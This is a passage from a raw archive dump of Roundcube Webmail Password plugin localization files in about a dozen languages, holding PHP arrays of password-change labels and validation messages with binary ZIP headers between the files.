$messages['passwordtooweak'] = 'مەخپىي نۇمۇر بەك ئاجىز.';
$messages['passwordnoseq'] = 'مەخپىي نۇمۇر قاتار سان 123456 ياكى قاتار ھەرىپ ئا ب س د بولماسلىقى كېرەك.';
$messages['passwordnocommon'] = 'مەخپىي نۇمۇر كۆپ ئۇچىرايدىغان سۆز ياكى ئىسىم بولماسلىقى كېرەك.';
$messages['passwordforbidden'] = 'مەخپىي نۇمۇر مەنئىي قىلىنغان ھەرىپنى ئۆز-ئىچىگە ئالىدۇ.';
$messages['firstloginchange'] = 'بۇ سىزنىڭ تۇنجى كىرىشىڭىز. مەخپىي نۇمۇرىڭىزنى ئۆزگەرتىڭ.';
$messages['disablednotice'] = 'سېستىما نۆۋەتتە ئاسىرىلىۋاتىدۇ شۇڭا مەخپىي نۇمۇرنى ئۆزگەرتىش ھازىرچە مۇمكىن ئەمەس. ھەممە ئىقتىدار تېزلا ئەسلىگە قايتىدۇ. ھەرقانداق قولايسىزلىق ئۈچۈن سىزدىن كەچۈرۈم سورايمىز.';
$messages['passwinhistory'] = 'بۇ مەخپىي نۇمۇر ئىلگىرى ئىشلىتىپ بۇلۇنغان.';
$messages['samepasswd'] = 'يېڭى مەخپىي نۇمۇر كونا مەخپىي نۇمۇردىن پەرىقلىق بۇلىشى كېرەك.';
$messages['passwdexpirewarning'] = 'ئاگاھلاندۇرۇش! سىزنىڭ مەخپىي نۇمۇرىڭىزنىڭ ۋاقتى تېزلا ئۆتۈپ كېتىدۇ. expirationdatetime$دىن بۇرۇن ئۇنى ئۆزگەرتىڭ.';
$messages['passwdexpired'] = 'مەخپىي نۇمۇرىڭىزنىڭ ۋاقتى ئۆتتى. سىز ئۇنى دەرھال ئۆزگەرتىشىڭىز كېرەك!';
$messages['passwdconstraintviolation'] = 'مەخپىي نۇمۇر قائىدىسىگە خىلاپلىق قىلىندى. مەخپىي نۇمۇر بەلكىم بەك ئاجىز.';
$messages['pwned_mustnotbedisclosed'] = 'مەخپىي نۇمۇر <a href="$href" target="_blank"> ئادەتتە تۇنۇشلۇق </a>بولماسلىقى كېرەك.';
$messages['pwned_isdisclosed'] = 'بۇ مەخپىي نۇمۇر ئادەتتە تۇنۇشلۇق';
$messages['pwned_fetcherror'] = 'مەخپىي نۇمۇر كۈچىنى دەلىللەش مەغلۇپ بولدى.';
PKh�\�_��

'plugins/password/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = '암호 변경';
$labels['curpasswd']  = '현재 암호:';
$labels['newpasswd']  = '새로운 암호:';
$labels['confpasswd']  = '새로운 암호 확인:';
$messages['nopassword'] = '새로운 암호를 입력하세요.';
$messages['nocurpassword'] = '현재 사용 중인 암호를 입력해주세요.';
$messages['passwordincorrect'] = '현재 사용 중인 암호가 올바르지 않습니다.';
$messages['passwordinconsistency'] = '암호가 일치하지 않습니다. 다시 시도해주세요.';
$messages['crypterror'] = '새로운 암호를 저장할 수 없습니다. 암호화 기능이 누락되었습니다.';
$messages['connecterror'] = '새로운 암호를 저장할 수 없습니다. 연결 오류입니다.';
$messages['internalerror'] = '새로운 암호를 저장할 수 없습니다.';
$messages['passwordshort'] = '암호는 문자가 $length개 이상이어야 합니다.';
$messages['passwordweak'] = '암호는 숫자 및 특수문자를 각각 한 개 이상 포함해야 합니다.';
$messages['passwordtooweak'] = '암호가 너무 취약합니다.';
$messages['passwordnoseq'] = '암호는 123456 또는 QWERTY 같은 연속된 문구가 아니어야 합니다.';
$messages['passwordnocommon'] = '암호는 자주 쓰이는 단어 또는 이름을 포함할 수 없습니다.';
$messages['passwordforbidden'] = '암호가 금지된 문자을 포함하고 있습니다.';
$messages['firstloginchange'] = '처음 로그인하셨습니다. 암호를 변경해주세요.';
$messages['disablednotice'] = '시스템이 현재 유지보수 중이며 암호 변경이 일시적으로 불가능합니다. 모든 것이 조만간 정상화 될 예정입니다. 불편을 끼쳐드려 죄송합니다.';
$messages['passwinhistory'] = '이 암호는 이미 이전에 사용됐습니다.';
$messages['samepasswd'] = '새로운 암호는 예전 암호와 달라야 합니다.';
$messages['passwdexpirewarning'] = '경고! 암호가 곧 만료됩니다. $expirationdatetime 이전에 변경하십시오.';
$messages['passwdexpired'] = '암호가 만료됐습니다. 지금 변경하셔야 합니다!';
$messages['passwdconstraintviolation'] = '암호 제약 위반. 암호가 취약한 것 같습니다.';
$messages['pwned_mustnotbedisclosed'] = '<a href="$href" target="_blank">흔히 알려지지</a> 않은 암호여야 합니다.';
$messages['pwned_isdisclosed'] = '이것은 흔히 알려진 암호입니다.';
$messages['pwned_fetcherror'] = '암호 복잡성을 검증하는데 실패함.';
PKh�\1�OF��'plugins/password/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Cambiar contrasinal';
$labels['curpasswd']  = 'Contrasinal actual:';
$labels['newpasswd']  = 'Contrasinal novo:';
$labels['confpasswd']  = 'Confirmar contrasinal:';
$messages['nopassword'] = 'Por favor, introduce un contrasinal novo.';
$messages['nocurpassword'] = 'Por favor, introduce o contrasinal actual.';
$messages['passwordincorrect'] = 'O contrasinal actual é incorrecto.';
$messages['passwordinconsistency'] = 'Os contrasinais non cadran. Por favor, inténtao outra vez.';
$messages['crypterror'] = 'Non foi posíbel gardar o contrasinal novo. Falta a función de cifrado.';
$messages['connecterror'] = 'Non foi posíbel gardar o contrasinal novo. Erro de conexión';
$messages['internalerror'] = 'Non foi posíbel gardar o contrasinal novo.';
$messages['passwordshort'] = 'O contrasinal debe ter polo menos $length caracteres.';
$messages['passwordweak'] = 'O contrasinal debe incluir polo menos un número e un signo de puntuación.';
$messages['passwordforbidden'] = 'O contrasinal contén caracteres non permitidos.';
$messages['firstloginchange'] = 'É a primeira vez que se conecta. Por favor, troque o seu contrasinal.';
PKh�\Ċ�OO'plugins/password/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Modifica la Password';
$labels['curpasswd']  = 'Password corrente:';
$labels['newpasswd']  = 'Nuova password:';
$labels['confpasswd']  = 'Conferma la nuova Password:';
$messages['nopassword'] = 'Per favore inserire la nuova password.';
$messages['nocurpassword'] = 'Per favore inserire la password corrente.';
$messages['passwordincorrect'] = 'La password corrente non è corretta.';
$messages['passwordinconsistency'] = 'Le password non coincidono, per favore reinserire.';
$messages['crypterror'] = 'Impossibile salvare la nuova password. Funzione di crittografia mancante.';
$messages['connecterror'] = 'Impossibile salvare la nuova password. Errore di connessione.';
$messages['internalerror'] = 'Impossibile salvare la nuova password.';
$messages['passwordshort'] = 'La password deve essere lunga almeno $length caratteri.';
$messages['passwordweak'] = 'La password deve includere almeno una cifra decimale e un carattere di punteggiatura.';
$messages['passwordtooweak'] = 'La password è troppo debole.';
$messages['passwordnoseq'] = 'La password non deve essere una sequenza come 123456 o QWERTY.';
$messages['passwordnocommon'] = 'La password non deve contenere parole comuni o nomi.';
$messages['passwordforbidden'] = 'La password contiene caratteri proibiti.';
$messages['firstloginchange'] = 'Questo è il tuo primo accesso. Si prega di cambiare la propria password.';
$messages['disablednotice'] = 'Il sistema è attualmente in manutenzione e pertanto al momento non è possibile effettuare il cambio della password. Presto tutto tornerà alla normalità. Ci scusiamo per il disagio.';
$messages['passwinhistory'] = 'Questa password è già stata usata precedentemente';
$messages['samepasswd'] = 'La nuova password deve essere differente da una usata precedentemente.';
$messages['passwdexpirewarning'] = 'Attenzione! La tua password scadrà a breve, cambiala prima del $expiretiondatetime.';
$messages['passwdexpired'] = 'La tua password è scaduta, devi cambiarla adesso.';
$messages['passwdconstraintviolation'] = 'La password non soddisfa i requisiti di sicurezza.';
$messages['pwned_mustnotbedisclosed'] = 'La password non deve essere <a href="$href" target="_blank">nota</a>.';
$messages['pwned_isdisclosed'] = 'Questa password è nota.';
$messages['pwned_fetcherror'] = 'Verifica robustezza password fallita.';
PKh�\{����'plugins/password/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Cambiar contraseña';
$labels['curpasswd']  = 'Contraseña actual:';
$labels['newpasswd']  = 'Contraseña nueva:';
$labels['confpasswd']  = 'Confirmar contraseña:';
$messages['nopassword'] = 'Por favor, introduzca una contraseña nueva.';
$messages['nocurpassword'] = 'Por favor, introduzca la contraseña actual.';
$messages['passwordincorrect'] = 'La contraseña actual es incorrecta.';
$messages['passwordinconsistency'] = 'Las contraseñas no coinciden. Por favor, inténtelo de nuevo.';
$messages['crypterror'] = 'No se pudo guardar la contraseña nueva. Falta la función de cifrado.';
$messages['connecterror'] = 'No se pudo guardar la contraseña nueva. Error de conexión.';
$messages['internalerror'] = 'No se pudo guardar la contraseña nueva.';
$messages['passwordshort'] = 'La contraseña debe tener al menos $length caracteres.';
$messages['passwordweak'] = 'La contraseña debe incluir al menos un número y un signo de puntuación.';
$messages['passwordtooweak'] = 'La contraseña es demasiado débil.';
$messages['passwordnoseq'] = 'La contraseña no debería ser una secuencia tipo 123456 o QWERTY.';
$messages['passwordnocommon'] = 'La contraseña no debería ser un nombre o palabra común.';
$messages['passwordforbidden'] = 'La contraseña introducida contiene caracteres no permitidos.';
$messages['firstloginchange'] = 'Este es su primer inicio de sesión. Por favor, cambie su contraseña.';
$messages['disablednotice'] = 'El sistema actualmente está en mantenimiento y ahora no se puede cambiar la contraseña. Todo debería volver a la normalidad pronto. Disculpa las molestias.';
$messages['passwinhistory'] = 'Esta contraseña ya se ha usado previamente.';
$messages['samepasswd'] = 'La nueva contraseña tiene que ser diferente a la antigua.';
$messages['passwdexpirewarning'] = '¡ Atención! Su nueva contraseña expirará pronto, cámbiela antes de $expirationdatetime.';
$messages['passwdexpired'] = 'Su contraseña ha expirado, tiene que cambiarla ahora.';
$messages['passwdconstraintviolation'] = 'Violación de restricción de contraseña Contraseña probablemente demasiado débil.';
$messages['pwned_mustnotbedisclosed'] = 'La constraseña no debe ser <a href="$href" target="_blank">comúnmente conocida</a>.';
$messages['pwned_isdisclosed'] = 'La contraseña es comúnmente conocida.';
$messages['pwned_fetcherror'] = 'Fallo al verificar la fortaleza de la contraseña.';
PKh�\P'!�!!'plugins/password/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'രഹസ്യവാക്ക് മാറ്റുക';
$labels['curpasswd']  = 'ഇപ്പോഴത്തെ രഹസ്യവാക്ക്';
$labels['newpasswd']  = 'പുതിയ രഹസ്യവാക്ക്';
$labels['confpasswd']  = 'പുതിയ രഹസ്യവാക്ക് സ്ഥിരീകരിക്കുക';
$messages['nopassword'] = 'ദയവായി പുതിയ രഹസ്യവാക്ക് നൽകുക';
$messages['nocurpassword'] = 'ദയവായി ഇപ്പോഴത്തെ രഹസ്യവാക്ക് നൽകുക';
$messages['passwordincorrect'] = 'ഇപ്പോഴത്തെ രഹസ്യവാക്ക് തെറ്റാണ്.';
$messages['passwordinconsistency'] = 'രഹസ്യവാക്കുകൾ ചേരുന്നില്ല, ദയവായി വീണ്ടും ശ്രമിക്കുക';
$messages['crypterror'] = 'പുതിയ രഹസ്യവാക്ക് സൂക്ഷിക്കാൻ സാധിച്ചില്ല. എൻക്രിപ്ഷൻ ഫങ്ങ്ഷൻ ലഭ്യമല്ല.';
$messages['connecterror'] = 'പുതിയ രഹസ്യവാക്ക് സൂക്ഷിക്കാൻ സാധിച്ചില്ല. ബന്ധം സ്ഥാപിക്കുന്നതിൽ പിഴവ്.';
$messages['internalerror'] = 'പുതിയ രഹസ്യവാക്ക് സൂക്ഷിക്കാൻ സാധിച്ചില്ല.';
$messages['passwordshort'] = 'രഹസ്യവാക്കിനു് കുറഞ്ഞത് $length അക്ഷരങ്ങൾ നീളം വേണം';
$messages['passwordweak'] = 'രഹസ്യവാക്കിൽ കുറഞ്ഞത് ഒരു സംഖ്യയും, ഒരു പ്രത്യേക അക്ഷരവും വേണം';
$messages['passwordforbidden'] = 'രഹസ്യവാക്കിൽ അനുവദനീയമല്ലാത്ത അക്ഷരങ്ങൾ ഉണ്ട്';
$messages['firstloginchange'] = 'ഇത് താങ്കളുടെ ആദ്യത്തെ പ്രവേശനമാണ്. ദയവായി താങ്കളുടെ രഹസ്യവാക്ക് മാറ്റുക.';
PKh�\҇��'plugins/password/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Wijzig wachtwoord';
$labels['curpasswd']  = 'Huidig wachtwoord:';
$labels['newpasswd']  = 'Nieuw wachtwoord:';
$labels['confpasswd']  = 'Bevestig nieuw wachtwoord:';
$messages['nopassword'] = 'Vul uw nieuwe wachtwoord in.';
$messages['nocurpassword'] = 'Vul uw huidige wachtwoord in.';
$messages['passwordincorrect'] = 'Huidig wachtwoord is onjuist.';
$messages['passwordinconsistency'] = 'Wachtwoorden komen niet overeen, probeer het opnieuw.';
$messages['crypterror'] = 'Nieuwe wachtwoord kan niet opgeslagen worden; de server mist een versleutelfunctie.';
$messages['connecterror'] = 'Nieuwe wachtwoord kan niet opgeslagen worden; verbindingsfout.';
$messages['internalerror'] = 'Uw nieuwe wachtwoord kan niet worden opgeslagen.';
$messages['passwordshort'] = 'Het wachtwoord moet minimaal $length tekens lang zijn.';
$messages['passwordweak'] = 'Het wachtwoord moet minimaal één cijfer en één leesteken bevatten.';
$messages['passwordtooweak'] = 'Uw wachtwoord is niet sterk genoeg.';
$messages['passwordnoseq'] = 'Uw wachtwoord mag geen opeenvolging zijn zoals 123456 of AZERTY.';
$messages['passwordnocommon'] = 'Uw wachtwoord mag geen veel voorkomende naam of tekst zijn.';
$messages['passwordforbidden'] = 'Het wachtwoord bevat tekens die niet toegestaan zijn.';
$messages['firstloginchange'] = 'Dit is uw eerste aanmelding. Verander uw wachtwoord alstublieft.';
$messages['disablednotice'] = 'Het systeem is momenteel in onderhoud en wachtwoord wijzigen is op dit moment dus niet mogelijk. Alles werkt binnenkort weer naar behoren. Onze excuses voor het ongemak.';
$messages['passwinhistory'] = 'Dit wachtwoord is al eerder gebruikt.';
$messages['samepasswd'] = 'Het nieuwe paswoord dient verschillend ten opzichte van de oude te zijn.';
$messages['passwdexpirewarning'] = 'Waarschuwing! je wachtwoord verloopt binnenkort, Wijzig het voor $expirationdatetime.';
$messages['passwdexpired'] = 'Je wachtwoord is verlopen, je dient het nu te wijzigen!';
$messages['passwdconstraintviolation'] = 'Wachtwoord voldoet niet aan beleid. Waarschijnlijk te zwak.';
$messages['pwned_isdisclosed'] = 'Dit wachtwoord is algemeen bekend.';
$messages['pwned_fetcherror'] = 'De wachtwoordsterkte kon niet geverifieerd worden.';
PKh�\;��oYY'plugins/password/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Newid cyfrinair';
$labels['curpasswd']  = 'Cyfrinair Presennol:';
$labels['newpasswd']  = 'Cyfrinair Newydd:';
$labels['confpasswd']  = 'Cadarnhau Cyfrinair Newydd:';
$messages['nopassword'] = 'Rhowch eich cyfrinair newydd.';
$messages['nocurpassword'] = 'Rhowch eich cyfrinair presennol.';
$messages['passwordincorrect'] = 'Roedd y cyfrinair presennol yn anghywir.';
$messages['passwordinconsistency'] = 'Nid yw\'r cyfrineiriau yn cymharu, ceisiwch eto.';
$messages['crypterror'] = 'Methwyd cadw\'r cyfrinair newydd. Ffwythiant amgodi ar goll.';
$messages['connecterror'] = 'Methwyd cadw\'r cyfrinair newydd. Gwall cysylltiad.';
$messages['internalerror'] = 'Methwyd cadw\'r cyfrinair newydd.';
$messages['passwordshort'] = 'Rhaid i\'r cyfrinair fod o leia $length llythyren o hyd.';
$messages['passwordweak'] = 'Rhaid i\'r cyfrinair gynnwys o leia un rhif a un cymeriad atalnodi.';
$messages['passwordtooweak'] = 'Mae\'r cyfrinair yn rhy wan.';
$messages['passwordnoseq'] = 'Ni ddylai\'r cyfrinair fod yn ddilyniant fel 123456 neu QWERTY.';
$messages['passwordnocommon'] = 'Ni ddylai\'r cyfrinair fod yn air cyffredin neu enw.';
$messages['passwordforbidden'] = 'Mae\'r cyfrinair yn cynnwys llythrennau wedi gwahardd.';
$messages['firstloginchange'] = 'Dyma eich mewngofnodiad cynta. Newidiwch eich cyfrinair.';
$messages['disablednotice'] = 'Mae gwaith cynnal a chadw ar y system ar hyn o bryd a nid yw\'n bosib newid y cyfrinair ar hyn o bryd. Fe ddylai fod popeth nol i\'r arfer yn fuan. Rydym yn ymddiheuro am yr anghyfleustra.';
$messages['passwinhistory'] = 'Defnyddiwyd y cyfrinair hwn o\'r blaen.';
$messages['samepasswd'] = 'Rhaid i\'r cyfrinair newydd fod yn wahanol i\'r hen un.';
$messages['passwdexpirewarning'] = 'Rhybudd! Fe fydd eich cyfrinair yn dod i ben cyn hir, newidiwch e cyn $expirationdatetime.';
$messages['passwdexpired'] = 'Mae\'ch cyfrinair wedi dod i ben, rhaid i chi ei newid nawr!';
$messages['passwdconstraintviolation'] = 'Mae hwn yn torri cyfyngiad cyfrinair. Mae\'n bosib fod y cyfrinair yn rhy wan.';
$messages['pwned_mustnotbedisclosed'] = 'Ni all y cyfrinair fod yn <a href="https://haveibeenpwned.com/Passwords" target="_blank">air adnabyddus</a>.';
$messages['pwned_isdisclosed'] = 'Mae\'r cyfrinair hwn yn air sy\'n hysbys.';
$messages['pwned_fetcherror'] = 'Methwyd gwirio cryfder y cyfrinair.';
PKh�\��� ��'plugins/password/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Change password';
$labels['curpasswd']  = 'Current Password:';
$labels['newpasswd']  = 'New Password:';
$labels['confpasswd']  = 'Confirm New Password:';
$messages['nopassword'] = 'Please enter a new password.';
$messages['nocurpassword'] = 'Please enter the current password.';
$messages['passwordincorrect'] = 'Current password is incorrect.';
$messages['passwordinconsistency'] = 'Passwords do not match.  Please try again.';
$messages['crypterror'] = 'New password could not be saved.  The encryption function is missing.';
$messages['connecterror'] = 'New password could not be saved.  There is a connection error.';
$messages['internalerror'] = 'New password could not be saved.';
$messages['passwordshort'] = 'Password must be at least $length characters long.';
$messages['passwordweak'] = 'Password must include at least one number and one symbol.';
$messages['passwordtooweak'] = 'Password too weak.';
$messages['passwordnoseq'] = 'Password should not be a sequence like 123456 or QWERTY.';
$messages['passwordnocommon'] = 'Password should not be a common word or name.';
$messages['passwordforbidden'] = 'Password contains forbidden characters.';
$messages['firstloginchange'] = 'This is your first login. Please change your password.';
$messages['disablednotice'] = 'The system is currently under maintenance and password change is not possible at the moment. Everything should be back to normal soon. We apologise for any inconvenience.';
$messages['passwinhistory'] = 'This password has already been used previously.';
$messages['samepasswd'] = 'The new password has to be different from the old one.';
$messages['passwdexpirewarning'] = 'Warning! Your password will expire soon, change it before $expirationdatetime.';
$messages['passwdexpired'] = 'Your password has expired, you have to change it now!';
$messages['passwdconstraintviolation'] = 'Password constraint violation. Password probably too weak.';
$messages['pwned_mustnotbedisclosed'] = 'Password must not be <a href="$href" target="_blank">commonly known</a>.';
$messages['pwned_isdisclosed'] = 'This password is commonly known.';
$messages['pwned_fetcherror'] = 'Failed to verify the password strength.';
PKh�\N��M'''plugins/password/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Broyt loyniorð';
$labels['curpasswd']  = 'Nú verandi loyniorð:';
$labels['newpasswd']  = 'Nýtt loyniorð:';
$labels['confpasswd']  = 'Endurtak nýggja loyniorð:';
$messages['nopassword'] = 'Vinarliga skriva inn nýtt loyniorð.';
$messages['nocurpassword'] = 'Vinarliga skriva inn núverandi loyniorð.';
$messages['passwordincorrect'] = 'Verandi loyniorð er skeift.';
$messages['passwordinconsistency'] = 'Loyniorðini eru ikki líka, vinarliga royn aftur.';
$messages['crypterror'] = 'Kann ikki goyma nýggja loyniorð. Brongling manglar.';
$messages['connecterror'] = 'Kann ikki goyma nýtt loyniorð. Sambands feilur.';
$messages['internalerror'] = 'Kundi ikki goyma nýggja loyniorðið.';
$messages['passwordshort'] = 'Loyniorði má hvørfall verða $length tekin langt.';
$messages['passwordweak'] = 'Loyniorði má innihalda minst eitt nummar og eitt punktum tekin.';
$messages['passwordforbidden'] = 'Loyniorð inniheldur ólóglig tekin.';
$messages['firstloginchange'] = 'Hetta er tín fyrsta innriting. Vinarliga broyt títt loyniorð.';
$messages['disablednotice'] = 'Skipanin er í verandi stunduni dagførd. Av tí sama, er ikki loyvt at broyta loyniorði í løtuni. Alt skuldi verið aftur til tað vanliga skjótt. Tað muga tygum orsaka. ';
PKh�\H�3�""'plugins/password/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Keisti slaptažodį';
$labels['curpasswd']  = 'Dabartinis slaptažodis:';
$labels['newpasswd']  = 'Naujasis slaptažodis:';
$labels['confpasswd']  = 'Pakartokite naująjį slaptažodį:';
$messages['nopassword'] = 'Prašom įvesti naująjį slaptažodį.';
$messages['nocurpassword'] = 'Prašom įvesti dabartinį slaptažodį.';
$messages['passwordincorrect'] = 'Dabartinis slaptažodis neteisingas.';
$messages['passwordinconsistency'] = 'Slaptažodžiai nesutapo. Bandykite dar kartą.';
$messages['crypterror'] = 'Nepavyko įrašyti naujojo slaptažodžio. Trūksta šifravimo funkcijos.';
$messages['connecterror'] = 'Nepavyko įrašyti naujojo slaptažodžio. Ryšio klaida.';
$messages['internalerror'] = 'Nepavyko įrašyti naujojo slaptažodžio.';
$messages['passwordshort'] = 'Slaptažodis turi būti sudarytas bent iš $length simbolių.';
$messages['passwordweak'] = 'Slaptažodyje turi būti bent vienas skaitmuo ir vienas skyrybos ženklas.';
$messages['passwordtooweak'] = 'Slaptažodis pernelyg silpnas.';
$messages['passwordnoseq'] = 'Slaptažodis neturėtų būti seka, kaip, pavyzdžiui, 123456 ar QWERTY.';
$messages['passwordnocommon'] = 'Slaptažodis neturėtų būti įprastas žodis ar pavadinimas.';
$messages['passwordforbidden'] = 'Slaptažodyje rasta neleistinų simbolių.';
$messages['firstloginchange'] = 'Tai yra pirmasis jūsų prisijungimas. Prašau, pasikeiskite savo slaptažodį.';
$messages['disablednotice'] = 'Sistema šiuo metu tvarkoma ir slaptažodžio pakeitimas negalimas. Netrukus viskas turėtų grįžti į įprastą būseną. Atsiprašome dėl nepatogumų.';
$messages['passwinhistory'] = 'Šis slaptažodis jau buvo naudotas anksčiau.';
$messages['samepasswd'] = 'Naujas slaptažodis turi būti kitoks nei senasis.';
$messages['passwdexpirewarning'] = 'Įspėjimas! Jūsų slaptažodis greitai nustos galioti, pakeiskite jį iki $expirationdatetime.';
$messages['passwdexpired'] = 'Jūsų slaptažodis nebegalioja, jūs turite pakeisti jį dabar!';
$messages['passwdconstraintviolation'] = 'Slaptažodžio apribojimų pažeidimas. Tikriausiai, slaptažodis pernelyg silpnas.';
$messages['pwned_isdisclosed'] = 'Šis slaptažodis yra plačiai žinomas.';
$messages['pwned_fetcherror'] = 'Nepavyko patikrinti slaptažodžio stiprumo.';
PKh�\5�o��'plugins/password/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Alterar senha';
$labels['curpasswd']  = 'Senha actual:';
$labels['newpasswd']  = 'Nova senha:';
$labels['confpasswd']  = 'Confirmar senha:';
$messages['nopassword'] = 'Introduza a nova senha.';
$messages['nocurpassword'] = 'Introduza a senha atual.';
$messages['passwordincorrect'] = 'Senha atual incorreta.';
$messages['passwordinconsistency'] = 'As senhas não coincidem, tente novamente.';
$messages['crypterror'] = 'Não foi possível guardar a nova senha. Função de criptografia em falta.';
$messages['connecterror'] = 'Não foi possível guardar a nova senha. Erro de ligação.';
$messages['internalerror'] = 'Não foi possível guardar a nova senha.';
$messages['passwordshort'] = 'A senha deve ter pelo menos $length caracteres';
$messages['passwordweak'] = 'A senha deve incluir pelo menos um número e um sinal de pontuação.';
$messages['passwordtooweak'] = 'Senha demasiado fraca';
$messages['passwordnoseq'] = 'A senha não deve ser uma sequência como 123456 ou QWERTY.';
$messages['passwordnocommon'] = 'A senha não deve ser uma palavra ou nome comum.';
$messages['passwordforbidden'] = 'A senha contém caracteres não suportados.';
$messages['firstloginchange'] = 'Este é o seu primeiro acesso. Por favor, altere a sua senha.';
$messages['disablednotice'] = 'O sistema está em manutenção e a alteração da password não é possível neste momento. Tudo deve volta ao normal em breve. Pedimos desculpas por qualquer inconveniente.';
$messages['passwinhistory'] = 'Esta senha já foi usada anteriormente.';
$messages['samepasswd'] = 'A nova senha tem de ser diferente da antiga.';
$messages['passwdexpirewarning'] = 'Aviso! A sua senha irá expirar em breve. Deve alterá-la antes de $expirationdatetime.';
$messages['passwdexpired'] = 'A sua senha expirou. Tem de alterá-la agora!';
$messages['passwdconstraintviolation'] = 'Violação da limitação de senha. Senha provavelmente muito fraca.';
$messages['pwned_mustnotbedisclosed'] = 'A password não deve ser <a href="$href" target="_blank">vulgarmente conhecida</a>.';
$messages['pwned_isdisclosed'] = 'Esta senha é vulgarmente conhecida.';
$messages['pwned_fetcherror'] = 'Falha ao verificar a força da senha.';
PKh�\#����'plugins/password/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Αλλαγή κωδικού';
